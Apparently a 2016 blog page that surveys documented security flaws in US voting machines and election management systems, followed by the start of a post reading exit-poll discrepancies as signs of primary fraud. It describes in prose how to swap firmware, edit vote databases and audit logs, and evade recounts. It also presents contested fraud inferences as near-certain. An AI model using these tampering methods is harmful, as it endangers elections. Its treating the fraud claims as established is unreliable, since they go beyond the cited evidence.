The Model 100 and 650 are from ES&S's older brand of optical scanners. Model 100 scanners count ballots at the precinct, while Model 650's are designed for counting stacks of ballots in a central location. In 2007, the Ohio Secretary of State commissioned a security review of ES&S's machines. <a href="https://security.cs.georgetown.edu/~msherr/papers/aviv-evt08.pdf">This study, EVEREST</a>, was done at the University of Pennsylvania.<br />
<br />
EVEREST found that the Model 100 is vulnerable to an attacker replacing its firmware. If the machine turns on and finds new firmware on the memory card, it will install it with no password and no verification. Someone can craft malicious firmware that tampers with votes, put it on a memory card, and load it into the system within seconds. In fact, the firmware can copy itself onto other memory cards that get inserted, spreading virally to other machines.<br />
<br />
The study only referred to this vulnerability for the Model 100, but the Model 650 likely has the same issue. Both machines are architecturally similar, and the <a href="http://www.essvote.com/uploads/Image/State-Campaigns/Illinois/M100_Firmware_Installation_Guide.pdf">M100</a> and <a href="http://www.essvote.com/uploads/Image/State-Campaigns/Illinois/M650_Firmware_Installation_Guide.pdf">M650</a> have nearly identical procedures for installing new firmware (except the M650 uses a zip disk, not a memory card).<br />
<br />
Model 100 machines <a href="https://www.verifiedvoting.org/resources/voting-equipment/ess/m100/">are used</a> in almost every South Carolina county, roughly 50% of South Dakota counties, over 1/3 of Illinois counties, nearly 1/3 of Ohio counties, nearly 20% of Alabama counties, and about 1/6 of California counties. Model 650 machines <a href="https://www.verifiedvoting.org/resources/voting-equipment/ess/m650/">are often in the same places</a>, but they sometimes show up on their own, such as in West Virginia, where it's used in 1/3 of the counties.</div>
<div>
<br /></div>
<a href="https://www.blogger.com/null" name="Optech"></a>
<br />
<h3>
Optech</h3>
<div>
Sequoia has three main models of Optech scanners: the IIIP-Eagle, Insight, and 400-C. They date back to the 1980s, but are still in use today. Security tests, such as <a href="https://security.cs.georgetown.edu/~msherr/papers/sequoia.pdf">California's 2007 Sequoia review</a>, reveal multiple Optech vulnerabilities allowing malicious code to be executed.<br />
<br />
The California report found that parts of the Optech's operation were controlled by interpreted scripts on removable media. Several types of scripts exist, overseeing ballot counting and poll tape printing. Anyone with access to the memory packs can change these scripts and alter how votes are counted. The report only confirmed this for the Insight and 400-C, but John Washburn <a href="http://washburnsworld.blogspot.com/2005_07_01_archive.html">states that the same is true</a> of the IIIP-Eagle. Such a vulnerability is the same one Harri Hursti used on the AccuVote.<br />
<br />
Machine firmware can also be altered in a couple ways. The Insight's firmware is split between an internal HPX chip and the memory pack, both of which can be altered. Other Optech machines store all their firmware on the system, but it can likely be updated from removable media. All the Optech devices have no way of checking whether firmware is from the vendor or an outside source.<br />
<br />
The <a href="https://www.verifiedvoting.org/resources/voting-equipment/sequoia/optech-insight/">Insight</a> and <a href="https://www.verifiedvoting.org/resources/voting-equipment/sequoia/optech-400c/">400-C</a> altogether count ballots in nearly 50% of California counties. Insight scanners also count roughly 1/3 of counties in Michigan, and 1/6 of counties in Missouri. Eagle scanners are used statewide in Rhode Island and Nevada, where all the voting machines are older than 10 years, and in scattered towns in Massachusetts and Wisconsin.<br />
<br /></div>
<a href="https://www.blogger.com/null" name="ImageCast"></a>
<br />
<h3 style="-webkit-text-stroke-width: 0px; color: black; font-family: "Times New Roman"; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px;">
ImageCast</h3>
</div>
<div>
The ImageCast optical scanners were made by Sequoia (now Dominion) specifically for New York's switch from lever machines to optical scanners in 2009. This makes them far newer than almost all of the other common machines in this list. Upstate New York <a href="https://www.verifiedvoting.org/resources/voting-equipment/dominion/imagecast/">is the main customer</a> of the ImageCast, but they're also used statewide in New Mexico, and in an assortment of counties in other states.<br />
<br />
There are no red team tests or security evaluations of the ImageCast that I could find. Little evidence of vulnerabilities exists, though there are <a href="https://radyananda.wordpress.com/2009/06/08/ballot-stuffing-holes-illegal-usb-ports-add-to-sequoia-dominion-voting-system-flaws/">concerns</a> about illegal USB and network ports. These could allow malicious data to enter the system, but aren't vulnerabilities on their own. One allegation about the ImageCast's security, however, stands out: <a href="http://www.scoop.co.nz/stories/HL0911/S00251/brad-friedman-ny-23-and-the-e-voting-virus.htm">the claim</a> that some scanners in the 23rd congressional district had a virus during the 2009 election.<br />
<br />
A county election official reported that they discovered a "virus" during pre-election testing, causing some machines to freeze and crash. She said that they had to get Dominion to fix the machine. The state Board of Elections later said it was a software bug, not a virus. They claimed that an issue in parsing the ballot configuration led to the system hanging, and Dominion worked around it by changing the ballot info to use less memory.<br />
<br />
Bo Lipari, a New York election integrity advocate, also argued that a virus would have been nearly impossible because the machines ran Linux. This is factually incorrect. Any software can be exploited given malicious data, which another New York election integrity advocate, Howard Stanislevic, <a href="http://e-voter.blogspot.com/2009/11/ny-cd-23-qestions-remain-about-pilot.html">suggested as a possibility</a>. He raised some questions about the BoE's explanation, and pointed out that an infection from a malicious memory card was plausible.<br />
<br />
Overall, the allegation that New York's ImageCast machines had a virus is just a rumor, and one that's denied by the Board of Elections. But with information on it so lacking, it's worth digging into more. It's still quite plausible that ImageCast machines could have been infected.</div>
<div>
<br /></div>
<a href="https://www.blogger.com/null" name="eScan"></a>
<br />
<h3>
eScan</h3>
<div>
Hart Intercivic's eScan optical scanner is also newer than most of the others on this list, but it still has its fair share of vulnerabilities. California also tested the Hart products in its 2007 review, performing a <a href="http://web.archive.org/web/20100605182827/http://www.sos.ca.gov/voting-systems/oversight/ttbr/Hart-source-public.pdf">source code review</a> and <a href="http://web.archive.org/web/20100530063546/https://www.sos.ca.gov/voting-systems/oversight/ttbr/red-hart-final.pdf">red team test</a>.<br />
<br />
The source code review found that a hacker could easily extract sensitive information from and send administrative commands to the eScan. eScan devices have a special Ethernet port for the EMS to configure it, but an attacker can also connect to the port. Commands sent to the port can erase votes and audit records, dump firmware (including secure keys), and replace the firmware (allowing results to be altered). The red team also identified another attack that would let them alter the firmware.<br />
<br />
eScans <a href="https://www.verifiedvoting.org/resources/voting-equipment/hart-intercivic/escan/">are used</a> nearly universally in Oklahoma, Kentucky, and Hawaii, where most or all of the voting machines are newer than 10 years old. They're also used in about 20% of Texas counties and 50% of Washington counties, both of which are states with mostly newer machines. Tennessee, with a minority of counties using newer machines, uses eScans in 25% of its counties.<br />
<br />
<h2>
DRE vulnerabilities</h2>
<div>
Direct electronic recording (DRE) machines are what people usually think of as electronic voting: you make your selection directly on the machine, and it records the result internally. This leads to a serious integrity risk: if the machine miscounts, there's no original ballot to check. Some machines implement a <a href="https://www.verifiedvoting.org/resources/vvpr-legislation/">voter-verified paper audit trail (VVPAT)</a> to address this: in addition to electronic recording, they print a paper ballot with the voter's choices. But while this makes it easier to catch fraud, it can't stop it from happening in the first place, just as with optical scanners.</div>
<div>
<br /></div>
<a href="https://www.blogger.com/null" name="AVTS"></a>
<br />
<h3>
AccuVote TS/TSx</h3>
<div>
Diebold's AccuVote touchscreens also install unverified firmware in seconds. A <a href="http://citpsite.s3-website-us-east-1.amazonaws.com/oldsite-htdocs/pub/ts06full.pdf">2006 Princeton study</a> found that vote tampering software can easily be installed from a memory card. When the machine starts up, its bootloader checks for firmware updates on the memory card, and installs them with no verification. An attacker can prepare a memory card with a malicious bootloader and operating system that manipulates votes. Here's a demonstration of their attack, with an AccuVote TS programmed to flip votes:<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="378" src="https://www.youtube.com/embed/5hCyVsUir8k" width="504"></iframe>
</div>
<br />
Furthermore, that bootloader can be programmed to copy itself onto any memory card that's inserted, creating a virus that spreads across AccuVote touchscreens. Memory cards are often shared between machines for firmware updates and loading ballot definitions, so a couple compromised machines could infect a large population.<br />
<br />
The scripting vulnerabilities in the AccuVote OS are also present in the AccuVote TS. Malicious scripts on a memory card can falsify poll tapes or completely take over the system. And since the VVPAT is produced from the same printer as the poll tapes, the scripts to print it can be modified as well. This means that even the paper audit trail, when in use, can be falsified.<br />
<br />
Even if these issues have been since fixed, which Diebold has a poor history of doing, plenty of jurisdictions have never upgraded. The AccuVote TS/TSx machines <a href="https://www.verifiedvoting.org/resources/voting-equipment/premier-diebold/accuvote-tsx/">are used</a> statewide in places whose machines are all older than 10 years, such as Georgia, Utah, and Alaska. States with mostly outdated voting machines also feature it prominently: the AccuVote TS is in over 50% of Ohio counties, over 50% of Mississippi counties, and over 20% of Indiana counties.<br />
<br /></div>
<a href="https://www.blogger.com/null" name="iVotronic"></a>
<br />
<h3>
iVotronic</h3>
<div>
ES&S's iVotronic touchscreens are similarly vulnerable to firmware replacement. The <a href="https://security.cs.georgetown.edu/~msherr/papers/aviv-evt08.pdf">EVEREST study</a> at the University of Pennsylvania found multiple security issues.<br />
<br />
The iVotronic's data transfer medium is a wireless hardware module called a PEB. PEBs transfer data between the EMS and the iVotronic, and are used to authenticate poll workers as election supervisors. One can easily make a fake PEB using a device like a Palm Pilot, giving them supervisor control over the machine. There's even a special undocumented supervisor mode which bypasses all passwords. Real PEBs can have their data (such as results) modified using a Palm Pilot and a magnet.<br />
<br />
A PEB (real or fake) can introduce data that exploits one of several buffer overflows, allowing for a full takeover of the machine. Code that takes over the machine can manipulate votes, and install modified firmware that does the same. A supervisor PEB also lets attackers replace the firmware, which is never checked for validity. One compromised machine is able to modify connected PEBs to compromise other machines, creating a virus that spreads across iVotronics.<br />
<br />
iVotronics with no paper trail <a href="https://www.verifiedvoting.org/resources/voting-equipment/ess/ivotronic/">are used</a> statewide in South Carolina, as well as in nearly 40% of Pennsylvania counties and nearly 20% of Kentucky counties. They're also used with a paper trail in nearly every West Virginia county, and in a little over 1/3 of North Carolina counties.<br />
<br /></div>
<a href="https://www.blogger.com/null" name="AVC"></a>
<br />
<h3>
AVC Edge, Advantage</h3>
<div>
Sequoia has two DRE machines under its AVC line: the touchscreen AVC Edge and the push-button AVC Advantage. California and New Jersey reviewed the Edge and Advantage, respectively, with both reviews finding vulnerabilities that allowed vote tampering firmware to be installed.<br />
<br />
<a href="http://web.archive.org/web/20100529152441/http://www.sos.ca.gov/voting-systems/oversight/ttbr/red-sequoia.pdf">California's 2007 red team test</a> discovered two ways to alter the Edge firmware: a results cartridge that exploits the system to run malicious code, and a directory traversal issue that allows the firmware files to be overwritten. The <a href="http://citpsite.s3-website-us-east-1.amazonaws.com/oldsite-htdocs/voting/advantage/">New Jersey test</a> discovered that malicious audio ballot info could compromise the Advantage and replace the firmware in a similar manner. Additionally, someone with physical access could remove and replace the flash chip containing the firmware.<br />
<br />
The California red team also produced a video showing their malicious firmware in action. Not only is it possible to change votes, but the paper audit trail can be faked. If the voter doesn't notice, all results of the election are compromised, even recounts:<br />
<br />
<div style="text-align: center;">
<iframe allowfullscreen="" frameborder="0" height="378" src="https://www.youtube.com/embed/SWDEZqqqBHE" width="504"></iframe><br /></div>
<br />
In Louisiana, which uses outdated voting machines in all its counties, paperless AVC machines are used statewide: the <a href="https://www.verifiedvoting.org/resources/voting-equipment/sequoia/avc-edge/">Edge</a> for early voting, and the <a href="https://www.verifiedvoting.org/resources/voting-equipment/sequoia/avc-advantage/">Advantage</a> on election day. New Jersey uses Advantage and Edge machines almost exclusively, again with no paper trail. Almost 40% of California counties and 20% of Missouri counties use the Edge with a paper trail. The Edge is also used in Chicago, where the audit of the paper trail failed to match the machine count.</div>
<div>
<br /></div>
<a href="https://www.blogger.com/null" name="eSlate"></a>
<br />
<h3>
eSlate</h3>
<div>
Hart Intercivic's eSlate is vulnerable to the same issues as the eScan. The eSlate is a terminal with LCD and dial, attached to a Judge Booth Controller (JBC), the machine that actually controls the voting. Multiple eSlates in a precinct are connected to a single JBC. Like with the eScan, the JBC has a configuration interface that can be used to read sensitive data and alter the firmware. And the eSlate itself receives similar commands <i>through</i> the JBC, so a hacker can just attach directly to the eSlate and send these commands.<br />
<br />
eSlates <a href="https://www.verifiedvoting.org/resources/voting-equipment/hart-intercivic/eslate/">are used</a> nearly statewide in Hawaii (with a paper trail) and Kentucky (without a paper trail). 14% of California counties have eSlates with a VVPAT. Paperless eSlates are also used in about 40% of Texas counties, and nearly 1/3 of Tennessee counties.</div>
<div>
</div>
<br />
<a href="https://www.blogger.com/null" name="WINVote"></a>
<br />
<h3 style="-webkit-text-stroke-width: 0px; color: black; font-family: "Times New Roman"; font-style: normal; font-variant: normal; letter-spacing: normal; line-height: normal; orphans: auto; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 1; word-spacing: 0px;">
WINVote</h3>
</div>
<div>
WINVote touchscreen DREs are no longer in use, but they're <a href="https://www.wired.com/2015/08/virginia-finally-drops-americas-worst-voting-machines/">a great example</a> of just how flawed electronic voting can get. From 2003 to 2015, Virginia and other states used these machines, which could be hacked to change results without touching the machine. In fact, it wasn't even necessary to set foot in the polling place: a hacker could alter an election from the parking lot.<br />
<br />
The machines created their own wireless network to transmit votes, which anyone within range could access. The network used weak security that could be broken within minutes, and the password turned out to be "abcde." Once on the network, it was trivial to start sending fake election results. And since the machines ran outdated copies of Windows XP, hackers could use one of 18 known exploits to take over the machine. Then they could guess the password to a hidden administrator account (with password of "admin") and start editing the vote database.<br />
<br />
Luckily, the WINVotes aren't in use anymore, but it's quite likely that past Virginia elections were hacked. If they weren't, a researcher said, "it was only because no one tried."<br />
<br /></div>
<a href="https://www.blogger.com/null" name="Central_tabulators"></a>
<br />
<h2>
EMS vulnerabilities</h2>
<div>
Voting machines are clearly susceptible to rigging, but modifying individual voting machines is limited in impact, and requires more work to pull off. A hacker has to write an exploit for the specific voting machine, and get it into the hands of someone with physical access to one. This is still possible, and rigging a select few precincts can be enough. But going after a county's election management system (EMS) computer is a much easier way to alter an election.</div>
<div>
<br /></div>
<div>
Since the EMS computer is a general purpose PC, it often doesn't even require programming skills to change results. The election results, tabulated from all of the voting machines, are usually stored in an editable database. Anyone with access to the EMS computer can change them. Doing this is hardly even an exploit: it's simply using a computer.</div>
<div>
<br /></div>
<div>
Controlling the EMS also lets a hacker infect all the voting machines in a county. Most of the voting machine exploits described above are installed from removable media, which the EMS initializes with ballot info before an election, or network interfaces, which the EMS controls. So anyone in command of a county's EMS computer can take over every voting machine in the county and alter the results tabulated from them.</div>
<div>
<br /></div>
<div>
The EMS computer, or central tabulator, sits in a county elections office. Bev Harris <a href="http://blackboxvoting.org/fraction-magic-part-6/">has reported</a> that a surprising number of people have physical access to the tabulator. County election officials obviously have access, and they often fail to track who goes into the tabulator room. There are also frequently election vendors or private contractors running the technical aspect of an election, including the central tabulators. And some vendors even have remote access into the systems.</div>
<div>
<br /></div>
<div>
Remote access can also be done by hackers. The EMS software packages contain web results reporting, so the central tabulator might be connected to the Internet. Tabulators tend to be running old versions of Windows, which are full of unpatched vulnerabilities and <a href="http://blog.chron.com/techblog/2008/07/average-time-to-infection-4-minutes/">can sometimes be hacked</a> after 4 minutes online. Even if they're off the Internet, the central tabulators may still use a modem to receive results from voting machines. The modem phone number <a href="https://en.wikipedia.org/wiki/War_dialing">can be discovered</a> and used to dial into the central tabulator.</div>
<div>
<br /></div>
<div>
With so many people able to access the central tabulator, and little ability to account for them, elections across the country are ridiculously vulnerable to tampering. Election officials, private contractors, and hackers can take over a county's central tabulator, letting them infect voting machines or tamper with the results. This problem is inherent to every EMS computer, no matter who the vendor is. Some vendors, however, make it even easier for people who gain tabulator access.</div>
<div>
<br /></div>
<a href="https://www.blogger.com/null" name="GEMS"></a>
<br />
<h3>
Global Election Management System (GEMS)</h3>
<div>
Diebold's EMS software, GEMS, manages roughly 25% of votes in the country. Bev Harris and others have studied it since 2003, when she found GEMS files on an unprotected FTP server. Even before then, GEMS drew some scrutiny: Al Gore's Florida vote total went backwards after GEMS accepted a rigged memory card with -16022 votes. Why it would allow negative votes is a mystery. GEMS has several other design quirks that make election rigging even easier.<br />
<br />
Many of the key issues <a href="http://www.ejfi.org/Voting/Voting-37.htm">were detailed by Harris</a> in 2004. GEMS stores votes in a Microsoft Access database, along with passwords and audit logs. All of this data simply sits in a database file that anyone can open and edit with the Microsoft Access program. This program is included with Microsoft Office, so it's commonly found on Windows PCs. But even if Access is uninstalled, the database can be edited with VBScript, a scripting language built into Windows. There's no way to prevent those on the central tabulator from tampering with an election.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" src="https://2.bp.blogspot.com/-GyEeg_2oBf4/V36qlAL-C9I/AAAAAAAAGoM/ilY7McUlK2g1ecutJ7WQyG2pThoSWnjMwCLcB/s1600/gems-totals.jpg" /></div>
<div style="text-align: center;">
<b>Figure 2:</b> GEMS vote totals, open for editing in Microsoft Access. One candidate has 404 votes and the other has 208 votes.</div>
<br />
GEMS has security features - audit logs and password protection - but being able to edit the database makes them useless. The password is checked against what's stored in the database, which can simply be changed. And the GEMS program is meant to audit every action taken in GEMS, but the audit log itself is part of the database and can be altered. Not to mention that neither of these security features stop you from simply changing votes in the database without using GEMS at all.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="180" src="https://2.bp.blogspot.com/-D8Pr4MoMYmE/V36q5P5m-yI/AAAAAAAAGoQ/NiGZVR40nY8zCuXa8H_vRqiW7zaibUJCQCLcB/s640/gems-audit.JPG" width="576" /></div>
<div style="text-align: center;">
<b>Figure 3: </b>The GEMS audit log, which is also editable in the database.</div>
<br />
There's also a more subtle and dangerous quirk. GEMS can produce two kinds of election results: a summary report with countywide totals, and a statement of votes cast (SOVC) report that has results by precinct. SOVC reports are used to verify poll tapes and hand recounts, while summary reports are sent to the state government to produce statewide results. Both reports should still pull from the same vote data, but in GEMS databases, there are separate data tables for summary and SOVC reports. An attacker can edit the data for the summary report but leave the SOVC data alone, rigging an election <i>while defeating canvasses and recounts</i>.<br />
<br />
Bev Harris <a href="http://blackboxvoting.org/fraction-magic-1/">recently made</a> another GEMS discovery: vote totals are stored as decimals rather than whole numbers. The purpose was to implement weighted races, allowing the votes of certain people to be more or less than 1 vote. Weighted races <a href="https://en.wikipedia.org/wiki/Weighted_voting">do exist legitimately</a>, but they aren't done with fractional votes. And in GEMS, all races, not just weighted ones, use fractions. Fractional vote counts allow the total votes to be easily reapportioned by preset margins. Someone with access to GEMS can set whatever percent outcome they want, and the votes will be redistributed to match.<br />
<br /></div>
<h3>
Unity</h3>
<div>
ES&S's Unity software has received much less attention than GEMS, but it shares many of the same issues. A <a href="http://votingsystems.cdn.sos.ca.gov/vendors/ess/unity-3011-red-team.pdf">2008 California red team report</a> found that users on the central tabulator can gain access to vote totals, extract passwords, and edit the audit logs. Zip disks containing results from the M650 optical scanner can be modified before being uploaded to Unity. The <a href="https://security.cs.georgetown.edu/~msherr/papers/aviv-evt08.pdf">EVEREST report</a> confirms that the same issue exists for the M100 memory cards. So just as in Volusia County in 2000, someone can forge election results on removable media and upload them.<br />
<br />
EVEREST also found that Unity can be taken over by malicious results media. Unity has a buffer overflow vulnerability in reading iVotronic PEBs and M100 memory cards. This means that a single infected voting machine can introduce a virus that takes over the central tabulator.<br />
<br /></div>
<h3>
WinEDS</h3>
<div>
Sequoia's EMS, WinEDS, can also have its database altered outside of the EMS, just as with GEMS. <a href="https://security.cs.georgetown.edu/~msherr/papers/sequoia.pdf">California's 2007 Sequoia code review</a> discovered this problem. WinEDS has user accounts for each election official/contractor that uses the system. These users are restricted in what they can do inside WinEDS, but that has no effect outside of the EMS. All of the users are database administrators, so they can modify whatever they want directly in the database.</div>
<div>
<br /></div>
<h3>
Democracy Suite EMS</h3>
<div>
Democracy Suite EMS, from Dominion, separates the EMS into a client PC (used by election officials) and a server that the client talks to. The election database is stored on the server, so nobody using the EMS has direct access to it. But a <a href="http://votingsystems.cdn.sos.ca.gov/dominion-voting/red-team-support.pdf">California red team evaluation</a> found that the server allows the client to access the election database anyway. They still need the database key or user credentials, but both can be easily obtained, from the server application binary or system RAM.<br />
<br />
<h3>
Hart EMS</h3>
<div>
The Hart Intercivic EMS also fails to protect its database security, as the <a href="http://web.archive.org/web/20100605182827/http://www.sos.ca.gov/voting-systems/oversight/ttbr/Hart-source-public.pdf">California source code review</a> found. Usernames and passwords protecting database access are stored in a file with no meaningful encryption, so anyone on the system can easily discover them. Once they do, they can access the database behind the back of the EMS.</div>
<br /></div>
<a href="https://www.blogger.com/null" name="Rigging_conspiracy"></a>
<br />
<h2>
Rigging in practice</h2>
<div>
Election fraud is often derisively called a "conspiracy theory." That would be fair if it was completely implausible, but thanks to our horribly flawed electronic voting system, it's not. Voting machines can easily have vote tampering firmware installed. Election management systems run on poorly-secured PCs, with the vote totals database wide open to tampering. Nothing about election fraud is technologically impossible, and most people know this. But perhaps it's logistically impossible.<br />
<br />
A security vulnerability, of course, doesn't matter unless you have the opportunity to exploit it. That's where the logistical argument comes in: that far too many people would have to be involved with rigging an election. Such a massive conspiracy would easily collapse under its own weight, and it would have been revealed by now. That may have been true with past voting systems (yet they still got rigged). But we're here in the 21st century, and technology completely changes the game.<br />
<br />
Any programmer at an election systems vendor can slip in code to rig an election. Voting machine software and EMS programs are built from the work of numerous developers. With only one dishonest programmer able to hide their code, countless machines across the country can be rigged. The black box nature of machines eliminates oversight, forcing trust in the vendor and every one of its programmers. But the added insecurity of voting machines means that outsiders also need to be trusted.<br />
<br />
Individual voting machines can be compromised by a single person in a small window of time. They don't need to know how the machine works: all it takes is inserting a hack someone else prepares. Voting machine hacks can be prepared by one person or a small team, and then deployed on as many machines as needed. Think of everyone who has access to them: election officials, contractors, poll workers, voters, and anyone else who finds them unattended. It only takes one who's untrustworthy.<br />
<br />
Of course, that's only one voting machine. Rigging an election requires a lot more to be compromised. But almost all of the voting machine exploits from above are able to copy themselves. They can easily spread to memory cards, which are then loaded into other machines, or over a network, to compromise other networked machines. One infected machine can quickly take over all the machines in a precinct, or even beyond that. All from one person installing a prepared hack.<br />
<br />
Even easier would be to go after the central tabulator. All the votes are ultimately added up at that one computer, so a single person controlling it can flip countywide totals. Worried about being caught by canvasses? The risk is overstated, since canvassing procedures are often poor, and poll tapes are not always even present. Not to mention some central tabulators (GEMS) allow you to hide your modifications so a canvass (or even a recount!) won't catch them.<br />
<br />
Still worried? Well, the central tabulator runs a county's election management system. This includes setting up the ballot info and sending it to all the machines, via memory card or network. And these are the same vectors used to infect voting machines with malware. So one compromised EMS computer can compromise every single voting machine in the county. People setting up the machines will unwittingly carry memory cards that are infected, putting them into machines without ever knowing.<br />
<br />
Who has access to the central tabulator? A number of election officials, which counties often fail to keep track of. Private contractors might be running the tabulator for the county or state. If so, the elections are prepared and tabulated by shadowy middlemen, whose activities are unobserved or not understood. Some contractors manage entire or multiple states. Election system vendors can have access to central tabulators, even remotely on election night. All of these people have to be trusted.<br />
<br />
Not to mention the <i>unauthorized</i> access that can occur to the central tabulators. They often end up connected to the Internet, or connected over dial up, leaving them exposed to hackers. Someone can log into them from anywhere in the country, and use one the same way as someone sitting right in front of it. All the illicit things you can do on a central tabulator - flipping results and preparing voting machine malware - can be done by one hacker without leaving their home.<br />
<br />
Malware spreading from the EMS computer to the voting machine is powerful, but it can work the other way as well. EMS software can be exploited by malicious data sent back from the voting machines. So if someone compromises an individual voting machine at the polling place, it can spread not just to other voting machines, but to the central tabulator. And then the infected central tabulator can infect more voting machines.<br />
<br />
Worrying about election fraud isn't tilting at conspiracy theories. It's the result of a devastating recognition: trusting our election system is only possible if every single one of the numerous people with access is also trustworthy. As soon as a single person turns out to be malicious, one component is infected, and soon every component can be breached. Realistically, that level of trust can't exist.<br />
<br />
Like I said, technology changes the game. It means one untrustworthy person anywhere can compromise the trust of the entire election system. That's scary. But it's a reality, and the unfortunate consequence is that election fraud can easily exist. It would be more surprising if it didn't.<br />
<br />
<h2>
Detecting fraud</h2>
If our voting systems are compromised, how do we catch election fraud? When we use optical scanners, or DREs with a VVPAT, we can recount to check the results. Some states <a href="https://www.verifiedvoting.org/resources/post-election-audits/">do use</a> random hand-count audits to verify their electronic results, though plenty of others don't. When an audit does find a discrepancy, it often ends up ignored without affecting the election. Outside of that, recounts are rare. Clever tricks, like the multiple tables in GEMS, can evade recounts entirely. And the stored ballots might be physically altered, like Richard Hayes Phillips documented in Ohio's 2004 election.<br />
<br />
A useful check on our election results would be a second count. An alternate tally of voter preferences that doesn't rely on electronic machines. This isn't wishful thinking. It exists right now, and the media has been conducting them for decades: <a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html#Exit_polls">exit polls</a>.<br />
<br />
Do exit polls have potential flaws? Of course, but so do our own electronic voting systems! When the polling fails to match the official results, it means two flawed counts that were supposed to show the same thing are different. The next step is finding out why: the polls could be wrong, the results could be wrong, or both could be wrong. But neither is more implausible than the other.<br />
<br />
<div>
<h2>
Other posts on election fraud</h2>
</div>
<div>
<a href="http://marionumber1.blogspot.com/2016/05/could-early-voting-explain-exit-poll.html">Part 1: 2016 Exit Polls and Early Voting</a></div>
<div>
<a href="http://marionumber1.blogspot.com/2016/06/systemic-election-fraud-part-2-why-is.html">Part 2: When Exit Polls are Off</a></div>
<div>
<a href="http://marionumber1.blogspot.com/2016/09/election-fraud-part-4-clinton-shift.html">Part 4: The Clinton Shift</a></div>
</div>
Unknownnoreply@blogger.com5tag:blogger.com,1999:blog-1645045780017662151.post-55876339515662448322016-06-01T19:21:00.000-04:002016-09-18T01:56:56.994-04:00When Exit Polls are OffOn the night of April 19, the day of the New York primary, CNN's exit polling showed Hillary Clinton <a href="http://talkintv.buffalonews.com/2016/04/20/cnns-exit-polls/">leading Bernie Sanders by only 52% to 48%</a>. The close race was surely relieving to see for Bernie supporters, telling them that they hadn't lost by a blowout in New York. But the actual results gave Clinton a <a href="http://www.realclearpolitics.com/epolls/2016/president/ny/new_york_democratic_presidential_primary-4221.html">much more substantial lead, 58% to 42%</a>.<br />
<br />
This kind of discrepancy between exit polls and official results wasn't just limited to New York. Richard Charnin, a mathematician and blogger, documented discrepancies in several states: <a href="https://richardcharnin.wordpress.com/2016/03/02/ma-primary-unadjusted-exit-poll-indicates-bernie-won/">Super Tuesday states</a>, <a href="https://richardcharnin.wordpress.com/2016/03/11/mi-primary-bernie-did-much-better-than-the-recorded-share-indicates/">Michigan</a>, and <a href="https://richardcharnin.wordpress.com/2016/03/16/five-democratic-primaries-exit-poll-discrepancies-and-win-probabilities/">the March 15 states</a>. In MA and IL, the winner flipped from Bernie in the exit polls to Hillary in the official results. In OH, a 4-point loss from the exit polls became a 14-point loss officially. In MI, Bernie did better in the exit polls than what was reported officially. And in multiple Southern states, Clinton far outperformed the pre-election and exit polls.<br />
<br />
So what happened? Were the exit polls wrong? Richard Charnin claims it's the opposite: the exit polls tell the true story, and the official results are wrong.<br />
<br />
A lot of Bernie supporters are now calling many of the elections fraudulent. I find them highly suspicious myself, and I am a Bernie supporter, but more pressing to me is the integrity of our democracy. If the exit polls reveal a pattern of vote counts being manipulated from how people actually voted, the foundation of our democracy is at stake. So this is quite a serious issue, one that deserves a clear look.<br />
<br />
<a href="https://www.blogger.com/null" name="Exit_polls"></a>
<br />
<h2>
Exit polls</h2>
<div>
<a href="https://en.wikipedia.org/wiki/Exit_poll">An exit poll</a> is a poll taken of voters as they leave their polling places, asking them who they voted for. Unlike pre-election polls, which are meant to predict the vote count, exit polls attempt to match the true vote by asking people who actually did vote. A sufficiently-large, random sample of voters (for example, every 5th voter to walk out) is interviewed. This should theoretically make them accurate representations of the vote, but it isn't always that simple.</div>
<div>
<br /></div>
<div>
In the US, exit polls are conducted by the <a href="https://en.wikipedia.org/wiki/National_Election_Pool">National Election Pool (NEP)</a>, a coalition of several major media outlets: ABC News, the Associated Press, CBS News, CNN, Fox News, and NBC News. They contract with <a href="http://www.edisonresearch.com/election-polling/">Edison Research</a>, which actually conducts the poll. News organizations use the exit polls to add to their election coverage, projecting how it will go and whether to call a race.</div>
<div>
<br /></div>
<div>
Joe Lenski, the executive vice president of Edison, explained the process of exit polling in a <a href="https://www.washingtonpost.com/news/the-fix/wp/2016/04/22/how-exit-polls-work-explained/">Washington Post interview</a>. They start by picking a series of sample precincts and sending people there to interview voters. The response rate from voters is about 40-50%, fairly good compared to other types of polling. Interviews are conducted three times per day: late morning, afternoon, and poll closing. The interview results are weighted by the demographics recorded, and the turnout in the various precincts. Once the official election results come out, exit polls are forced ("adjusted") to match them.</div>
<div>
<br /></div>
<div>
Provided that the interview is a representative sample of the electorate, the exit polls should match how people voted fairly well. Ensuring a representative sample begins with the precinct selection, picking ones that properly represent the voting population. Certain demographics are also weighted differently to account for selection bias, such as some groups being more likely to respond than others. All of this leads to weighting results as more data comes in, as described above. Then there's the adjustment after polls close to match the official results.</div>
<div>
<br /></div>
<div>
Adjusting exit polls based on official results is criticized by people like Richard Charnin, who believes that it's wrong to assume the official results are correct. Simply mimicking the official results, in Charnin's view, can mask errors in the electoral process that the exit polls might have revealed. Lenski, however, argues that the purpose of exit polls isn't just predictions, but having accurate demographics of who voted, and thus, it makes sense to adjust them based on official counts. Since the exit polls include demographic data, adjusting them can reveal the demographic breakdowns that the official counts don't record.</div>
<div>
<br /></div>
<div>
On its surface, Lenski's argument makes sense, but adjustments can lead to <a href="https://richardcharnin.wordpress.com/2011/11/13/1988-2008-unadjusted-state-exit-polls-statistical-reference/">counterintuitive results</a>. In the 2004 election, 122.3 million people voted overall, and the adjusted exit poll showed that 43% of the electorate (52.6 million people) had voted for George W. Bush in 2000. But Bush only had <a href="https://en.wikipedia.org/wiki/United_States_presidential_election,_2000">50.5 million votes total in 2000</a>, and that's not counting his supporters who died or didn't return to vote for him. Forcing the exit poll to match the official 2004 vote created an impossible result. John Kerry was, in fact, leading Bush in the unadjusted exit poll. The conclusion Charnin draws is that to match fraudulent official results, the exit poll had to be adjusted in a way that defied reality.<br />
<br />
